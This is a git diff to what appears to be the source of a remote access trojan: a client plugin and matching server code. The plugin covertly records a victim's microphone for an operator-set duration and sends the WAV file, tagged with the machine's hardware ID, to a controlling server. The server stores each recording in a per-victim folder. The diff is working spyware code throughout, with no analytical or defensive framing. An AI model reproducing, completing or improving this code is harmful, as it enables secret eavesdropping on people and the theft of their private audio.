diff --git a/Plugin/Audio/Audio/Packet.cs b/Plugin/Audio/Audio/Packet.cs
index 824e882..8508236 100644
--- a/Plugin/Audio/Audio/Packet.cs
+++ b/Plugin/Audio/Audio/Packet.cs
@@ -27,15 +27,7 @@ namespace Plugin
             {
                 case "audio":
                     {
-                        var AR = new AudioRecorder();
-                        AR.StartAR();
-                        Thread.Sleep(100);
-                        DateTime dt1 = DateTime.Now;
-                        while ((DateTime.Now - dt1).TotalMilliseconds < Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString) * 1000)
-                        {
-                            continue;
-                        };
-                        AR.SaveAR();
+                        AudioRecorder.Audio(Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString));
                         break;
                     }
             }
diff --git a/Plugin/Audio/Audio/SoundRecord.cs b/Plugin/Audio/Audio/SoundRecord.cs
index eb18801..1fd698d 100644
--- a/Plugin/Audio/Audio/SoundRecord.cs
+++ b/Plugin/Audio/Audio/SoundRecord.cs
@@ -13,7 +13,44 @@ namespace Plugin
         
         [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
         private static extern int Record(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
-                
+        [DllImport("winmm.dll")]
+        public static extern int waveInGetNumDevs();
+
+
+        public static void Audio(int second)
+        {
+            try 
+            {
+                if (waveInGetNumDevs() == 0)
+                {
+                    Packet.Error("Don't have microphone.");
+                    MsgPack msgpack = new MsgPack();
+                    msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
+                    msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
+                    msgpack.ForcePathObject("Close").AsString = "true";
+                    Connection.Send(msgpack.Encode2Bytes());
+                }
+                else
+                {
+                    var AR = new AudioRecorder();
+                    AR.StartAR();
+                    Thread.Sleep(100);
+                    DateTime dt1 = DateTime.Now;
+                    while ((DateTime.Now - dt1).TotalMilliseconds < second * 1000)
+                    {
+                        continue;
+                    };
+                    AR.SaveAR();
+                }
+            }
+            catch(Exception ex)
+            {
+                Packet.Error(ex.Message);
+            }
+            
+        }
+
+
         public void StartAR()
         {
             Record("open new Type waveaudio Alias recsound", "", 0, 0);
@@ -27,6 +64,7 @@ namespace Plugin
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
             msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
+            msgpack.ForcePathObject("Close").AsString = "false";
             msgpack.ForcePathObject("WavFile").SetAsBytes(File.ReadAllBytes(AudioPath));
             Connection.Send(msgpack.Encode2Bytes());
         }
diff --git a/Server/Forms/FormAudio.cs b/Server/Forms/FormAudio.cs
index 7e0c5f2..bd13251 100644
--- a/Server/Forms/FormAudio.cs
+++ b/Server/Forms/FormAudio.cs
@@ -33,7 +33,7 @@ namespace Server.Forms
         //Start or stop audio recording
         private void btnStartStopRecord_Click(object sender, EventArgs e)
         {
-            if (textBox1.Text != null&& textBox1.Text != "")
+            if (textBox1.Text != null)
             {
                 MsgPack packet = new MsgPack();
                 packet.ForcePathObject("Pac_ket").AsString = "audio";
@@ -46,15 +46,7 @@ namespace Server.Forms
                 ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
                 Thread.Sleep(100);
                 btnStartStopRecord.Text = "Wait...";
-                btnStartStopRecord.Enabled = false;
-                DateTime dt1 = DateTime.Now;
-                int timetosleep = Convert.ToInt32(textBox1.Text) * 1000;
-                while ((DateTime.Now - dt1).TotalMilliseconds < timetosleep)
-                {
-                    continue;
-                };
-                btnStartStopRecord.Text = "Start Recording";
-                btnStartStopRecord.Enabled = true;
+                btnStartStopRecord.Enabled = false;                
             }
             else
             {
diff --git a/Server/Forms/FormAudio.designer.cs b/Server/Forms/FormAudio.designer.cs
index f42af2d..e6814cd 100644
--- a/Server/Forms/FormAudio.designer.cs
+++ b/Server/Forms/FormAudio.designer.cs
@@ -85,7 +85,7 @@
 
         #endregion
 
-        private System.Windows.Forms.Button btnStartStopRecord;
+        public System.Windows.Forms.Button btnStartStopRecord;
         private System.Windows.Forms.Timer timer1;
         private System.Windows.Forms.TextBox textBox1;
         private System.Windows.Forms.Label label1;
diff --git a/Server/Handle Packet/HandleAudio.cs b/Server/Handle Packet/HandleAudio.cs
index af65a09..22338ac 100644
--- a/Server/Handle Packet/HandleAudio.cs	
+++ b/Server/Handle Packet/HandleAudio.cs	
@@ -20,16 +20,30 @@ namespace Server.Handle_Packet
         {
             try
             {
-                string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio");
-                if (!Directory.Exists(fullPath))
-                    Directory.CreateDirectory(fullPath);
-                await Task.Run(() =>
+                FormAudio audiorecord = (FormAudio)Application.OpenForms["Audio Recorder:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()];
+                if (unpack_msgpack.ForcePathObject("Close").GetAsString() == "true")
                 {
-                    byte[] zipFile = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes();
-                    File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", zipFile);
-                });
-                new HandleLogs().Addmsg($"Client {client.Ip} recording success，file located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple);
-                client.Disconnected();
+                    audiorecord.btnStartStopRecord.Text = "Start Recording";
+                    audiorecord.btnStartStopRecord.Enabled = true;
+                    client.Disconnected();
+                    return;
+                }
+                else 
+                {
+                    audiorecord.btnStartStopRecord.Text = "Start Recording";
+                    audiorecord.btnStartStopRecord.Enabled = true;
+
+                    string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio");
+                    if (!Directory.Exists(fullPath))
+                        Directory.CreateDirectory(fullPath);
+                    await Task.Run(() =>
+                    {
+                        byte[] zipFile = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes();
+                        File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", zipFile);
+                    });
+                    new HandleLogs().Addmsg($"Client {client.Ip} recording success，file located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple);
+                    client.Disconnected();
+                }
             }
             catch (Exception ex)
             {